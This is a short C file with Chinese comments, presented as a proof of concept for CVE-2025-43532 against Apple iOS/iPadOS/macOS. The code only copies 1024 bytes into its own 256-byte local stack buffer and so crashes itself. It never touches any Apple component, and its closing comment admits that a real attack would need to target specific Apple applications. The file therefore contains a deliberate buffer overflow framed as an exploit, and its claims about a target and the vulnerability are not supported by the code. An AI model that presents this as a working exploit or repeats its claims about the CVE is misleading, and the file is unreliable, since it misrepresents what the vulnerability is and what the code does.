CVE-2025-43532

// CVE-2025-43532 PoC - 内存损坏导致应用终止 // 此PoC演示如何触发漏洞，需要用户交互 #include <stdio.h> #include <stdlib.h> #include <string.h> // 构造恶意数据触发内存损坏 unsigned char* create_malicious_payload() { unsigned char* payload = malloc(1024); if (!payload) return NULL; // 填充数据导致边界检查失败 memset(payload, 0x41, 1024); // 特定模式触发漏洞 for (int i = 0; i < 1024; i++) { payload[i] = (i % 256); } return payload; } // 模拟触发漏洞的函数 void trigger_vulnerability(unsigned char* data, size_t len) { // 缺乏边界检查的内存操作 unsigned char buffer[256]; memcpy(buffer, data, len); // len可能超过256导致溢出 // 进一步处理导致崩溃 for (size_t i = 0; i < len; i++) { buffer[i] = data[i] ^ 0xFF; } } int main() { printf("CVE-2025-43532 PoC\n"); printf("Target: Apple iOS/iPadOS/macOS\n"); printf("Vulnerability: Memory corruption due to insufficient bounds checking\n"); unsigned char* payload = create_malicious_payload(); if (payload) { printf("Malicious payload created\n"); trigger_vulnerability(payload, 1024); // 触发溢出 free(payload); } return 0; } /* 使用方法： 1. 编译: gcc -o poc poc.c 2. 运行: ./poc 注意：此PoC仅用于研究目的，实际攻击需要针对特定Apple应用程序 */
